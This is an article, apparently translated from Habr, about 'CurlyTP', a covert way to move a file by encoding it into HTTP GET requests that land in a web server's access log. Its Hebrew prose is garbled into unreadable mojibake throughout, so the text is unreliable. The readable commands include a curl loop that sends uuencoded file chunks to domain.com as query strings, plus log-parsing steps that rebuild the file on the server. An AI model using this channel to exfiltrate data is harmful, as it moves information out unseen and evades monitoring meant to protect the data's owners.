ืขื ืคื ืืืืืจื ืฉื ืืืงืืคืืื, ืืืคื ืืชื ืืื ืืื ืงืื ืกืคืืจืฆืื ืืืฉืืฉ ืืืืืคืช ืืืืข ืื ืคืจืืืื ืืกืืืืื ืืื ืื ืฉืื ืืืืฆืขืืช ืืืงืื ืกืืื. ืืจืขืืื ืืื ืฉืื ืฉืื ืืฃ ืคืขื ืื ื ืคืืฉืื - ืืื ืื ืขืืืื ืืืืืคืื ืืืืข ืืื ืืฉืืืจ ืขื ืืืืืืช ืชืคืขืืืืช.
ืืงืื ืืืกืชืืจ ืื ืฆืจืื ืืืฉืื ืชืฉืืืช ืื. ืืื, ืืขืืื ืืื ืืงืืื ืื ืืจืืื ืืืฉืชืืฉ ืืืืจืื ืืืกืงืจืืืื: ืืื ื ืจืืคืคืช ืืงืืจ, ืกืคืจ ืกืคืจืืื ืื ืฉืงืข ืืขืฅ.
ืืฉื ื ืืื ืืฆืคื ื ืืื ืื ืืืืืฆืื ืจืืื ืืืื ืืจื ื, ืื ืขืฆื ืืฉืืืืฉ ืืืืื ืืื ืืืฉื ืชืฉืืืช ืื. ืื ืืกืฃ, ืื ืขืืืืื ืืืืืกื ืืจืืช ืืืืจื ืื ืืืืฉื. ืื ืืขืฉืืช?
ืืืื Ryan Flowers ืืฆืืข ืืคืฉืจืืช ืืขื ืืื ืช -
ืืกืชืืจ ืฉืื ืฉืจืช ืืื ืืจื ื ืืืคืฉืจ ืืฉืืืจ ืืืขื ืื ืืืืขื ืืืืื. ืคืจืืื ืชืื ืืื ืืืฉืชืืฉ ืืื.
ืืื ืืฆืืข ืืช ืืืคืฉืจืืช ืืื:
- ืงื ืงืืืฅ ืืงืกื (ืืืืขื ืกืืืืช) ืืืฉื ืืช ื-hash (md5sum).
- ืื ื ืืงืืืืื ืืืชื (gzip+uuencode).
- ืื ื ืืืชืืื ืืืืื ืืืืฆืขืืช ืืงืฉื ืื ื ืืื ื ืืืืื ื ืืฉืจืช.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
ืืื ืืงืจืื ืงืืืฅ, ืขืืื ืืืฆืข ืืช ืืคืขืืืืช ืืืื ืืกืืจ ืืคืื: ืคืขื ืื ืืคืชื ืืช ืืงืืืฅ, ืืืืง ืืช ื-hash (ื ืืชื ืืืขืืืจ ืืช ื-hash ืืืืื ืืขืจืืฆืื ืคืชืืืื).
ืืืืืื ืืืืืคืื ื =+=
ืืื ืฉืื ืืืื ืจืืืืื ืืืชืืืช. ืืชืืื ืืช, ืฉืืืืืจ ืงืืจื ืื CurlyTP, ืืฉืชืืฉืช ืืงืืืื base64, ืืื ืงืืฆืื ืืฆืืจืคืื ืืืื"ื. ืืืงืฉื ื ืขืฉืืช ืขื ืืืืช ืืคืชื ?transfer?
ืื ืฉืื ืืขื ืืืื ืืืฆืื ืืืชื ืืงืืืช ืืืืื ืื.
ืื ืื ื ืจืืืื ืืืืื ืื ืืืงืจื ืื?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
ืืคื ืฉืืืจ ืฆืืื, ืืื ืืงืื ืืืืขื ืกืืืืช ืขืืื ืืืฆืข ืืช ืืคืขืืืืช ืืกืืจ ืืคืื:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
ืืชืืืื ืงื ืืืืืืืื. Md5sum ืชืืื, ืืชืืื ืืงืืืฅ ืืืฉืจ ืฉืืื ืคืืขื ื ื ืืื.
ืืฉืืื ืคืฉืืื ืืืื. "ืืืืจื ืฉื ืืชืจืืื ืืื ืืื ืจืง ืืืืืื ืฉื ืืชื ืืืขืืืจ ืงืืฆืื ืืืืฆืขืืช ืืงืฉืืช ืืื ืืจื ื ืงืื ืืช ืชืืืืืช, ืืื ืขืืื ืขื ืื ืฉืจืช ืืื ืืจื ื ืขื ืืืื ื ืืงืกื ืจืืื. ืืขืฆื, ืื ืฉืจืช ืืื ืืจื ื ืืื ืืงืื ืืกืชืืจ!" ืืืชืืช ืคืจืืื.
ืืืืื, ืืฉืืื ืคืืขืืช ืจืง ืื ืื ืืขื ืืฉ ืืืฉื ืืืืื ื ืฉืจืช. ืืื ืืืฉื ืืื ืืกืืคืงืช, ืืืฉื, ืขื ืืื ืืืจืืื ืจืืื.
ืืืฆื ืืืฉืชืืฉ ืื?
Ryan Flowers ืืืืจ ืฉืืื ืื ืืืืื ืืืืืืช ืืืืข ืืื ืืขืจืื ืจืฉืืื ืฉื ืฉืืืืฉืื ืืคืฉืจืืื ืขืืืจ CurlyTP. ืืืืื ืชื, ืื ืจืง ืืืืื ืืงืื ืกืคื ืฉืืคืฉืจ ืืืฉืชืืฉ ืืืืื ืืืืืจืื ืฉืื ื ืจืืืื ืืื ืืื ืืฆืืจื ืื ืฉืืจืชืืช.
ืืืขืฉื, ืืฉืืื ืื ืืฉ ืืกืคืจ ืืชืจืื ืืช ืขื ืคื ื "ืืืืืืื" ืืืจืื ืฉื ืฉืจืชืื
ืืืื ืืืช ืืืจืืื ืืืขืืจืช ืืืืขืืช ืืืืฆืขืืช ืงืืฆื ืฉืืจืืช. ืืชื ืืืื ืืืืืจ ืืื ืืื ืืืจืืช ืืชืงืืืืช ื ืืื ืืืงื
ืืจืขืืื ืืื ืฉืจืง ืืคืชืื ืืชืจืื ืืจืื ืืช ืืืฆืช ืืคืกืื ืืื, ืืืืืื ืฉืืื ืจืืื ืื ืืกืชืื ืืืืชืจืืช ืื ืืงืื HTML.
ืืงืืจ: www.habr.com